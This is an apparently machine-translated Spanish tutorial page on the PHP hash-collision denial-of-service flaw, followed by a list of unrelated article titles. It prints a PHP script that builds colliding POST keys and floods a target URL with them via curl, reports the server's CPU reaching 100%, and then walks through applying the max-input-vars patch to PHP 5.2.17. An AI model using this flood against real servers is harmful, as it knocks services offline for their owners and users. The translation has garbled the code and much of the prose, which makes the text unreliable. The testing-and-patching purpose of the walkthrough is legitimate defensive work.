Antes de la revisión de PHP, la situación de la CPU del servidor es actualmente de 2,1% de uso.
se escribe un programa PHP en este servidor web, el propósito es probar la máquina en Hash que por falta de reproducirse. El lenguaje de programación es el siguiente: <? Php echo $ showtime = date (" Y-m-d H: i: s ");? ≫ El efecto después de la ejecución es tomar la hora actual del servidor.
Buscando una máquina de prueba con un entorno PHP. Utilizo una máquina virtual para esta máquina, que tiene un entorno LAMP. En el directorio /usr /local /apache /htdocs, escriba una página web de PHP con el siguiente idioma: [root @ blog htdocs] # Vi hash.php
<? Php $ size = pow (2, 16) $ data = ''; para ($ key = 0, $ maxKey = ($ size - 1) * $ size; $ key < = $ maxKey; $ key + = $ size) {$ data. = $ key. '= &';}
$ url = 'http://www.liuxxxxx.com/checktime.php'; $ rs = array (); $ ch = curl_init (); curl_setopt ($ ch Curssetopt ($ ch, CURLOPT_URL, $ url); curl_setopt ($ ch, CURLOPT_POST, 1); curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ data); para (, CURLOPT_HEADER, 0); $ i = 0; $ i < 100; ++ $ i) {curl_exec ($ ch);} curl_close ($ ch);? >
url address, la máquina de destino que desea probar, i < 100, lo que indica hasta 100 concurrentes. Ejecute manualmente hash.php para colisiones de hash. [root @ blog htdocs] # /usr /local /php /bin /php hash.php
En el lado del servidor web, vamos a ver la utilización de recursos del servidor, la CPU es del 97.6%, parece un solo virtual La máquina, tomando 100 al mismo tiempo que Hash, es suficiente para aumentar la utilización de la CPU del servidor web al 100%.
La CPU es 100%, ¿cuál es el sitio web? Luego, navegamos por el servidor web, hicimos clic en el enlace del sitio web y la respuesta fue normal. Se estima que este servidor web no tiene presión, por lo que no se puede ver. Ajuste la cantidad de concurrencia a 10000, y luego mídala, solo 100 concurrentes.
Actualice la página checktime.php, que se puede mostrar rápidamente y el sitio web es normal. Pero en este momento, la CPU del servidor web ya está al 100%.
Conclusión, utilizo un blog personal como la máquina de destino, porque los blogs personales, que solo algunas personas visitan actualmente, no hay presión, por lo que incluso a través de 10000 Hash concurrentes, CPU hasta el 100%, velocidad de apertura del blog personal, todavía bastante rápido.
Pon un parche y echemos otro vistazo. 1, primero compruebe los parámetros de compilación de PHP en el entorno de compilación
2, conéctese en línea para descargar un parche de PHP, la dirección de descarga es: https://github.com/laruence /laruence.github.com/tree/master/php-5.2-max-input-vars
3, de acuerdo con el número de versión de la plataforma personal, haga clic en ella, preste atención, no esté en ella Haga clic derecho, guardar como, de lo contrario, está bajando un archivo html, el nombre del archivo es php-5.2.17-max-input-vars.patch. En el nuevo punto de la página emergente "" raw ", este archivo de parche se abrirá.
Copia el contenido en el interior, solo corto una pequeña parte. Luego cree un nuevo archivo en el servidor web, php-5.2.17-max-input-vars.patch, que se acaba de copiar.
4, en el directorio de instalación original de php, mi entorno aquí es /opt/soft/php-5.2.17. Primero limpie algunos de los compilados originales.
5, parchear y recompilar php
config luego hacer ZEND_EXTRA_LIBS = '- liconv' //algunas plataformas son make , cada entorno es diferente, luego realice la instalación
6, reinicie Apache, vea el efecto [root @ lghblog php-5.2.17] # pkill httpd [root @ lghblog php-5.2.17] # /usr /Local /apache /bin /apachectl start
Visite phpinfo.php del servidor web para ver si el entorno PHP ha cambiado. Puedes ver en la parte superior, la versión de PHP viene con un P1. Esto no es suficiente. Usemos Hash para colisionar y ver si la CPU será del 100%.
En la máquina de prueba, tome el 10000 concurrente y vaya al servidor web Hash. Se encontró que la CPU del servidor web se mantiene en 0.5%.
¡Resolución de problemas!
Para grupos pequeños de usuarios o usuarios domésticos que acceden a Internet, el acceso telefónico
Pero debido a las muchas similitudes entre el servidor X86 y el escritorio, existen muchas similitud
El servidor es un sistema 2003, que generalmente se usa bien, ¡pero a menudo se h
en el sistema Windows Al usar el cliente SVN mencionado anteriormente, el servidor SVN utilizado sue
Método de prueba del servidor Apache
Copia de seguridad automática de la base de datos MySQL todos los días en win2003
Windows2003 + iis6 + php5 HTTP error 401.3 - No autorizado
Enseñarle prueba de estrés del servidor web
Uso de tcpdump para analizar los encabezados de los paquetes TCP
Windows Server 2008 Server State Backup \\ Restore Raiders
Tres formas principales de aumentar el ancho de banda disponible en la red para máquinas virtuales
Guía de solución de problemas de IIS y código de error completo
Servicio Solución no disponible después de desinstalar ZkeysPHP
Instalación y operación del servidor web del FTP. Pasos detallados
Herramienta de cambio de nombre de dominio de Windows2003 (2)
1. ¿Qué debo hacer si la computadora Win8 no tiene el ícono "Agregar o quitar programas"?
Cuente las últimas cinco funciones principales de Windows 8 (3)
La configuración de Windows 7 permite que los programas o funciones pasen los métodos de firewall
Otra solución para las contraseñas olvidadas de xp
Los documentos y secretos ocultos de mi documento (a)
Cómo cambiar la configuración de demostración de Win8 Mobile Center
Las cinco características principales de almacenamiento de Vista introducidas
La solución perfecta para redes no reconocidas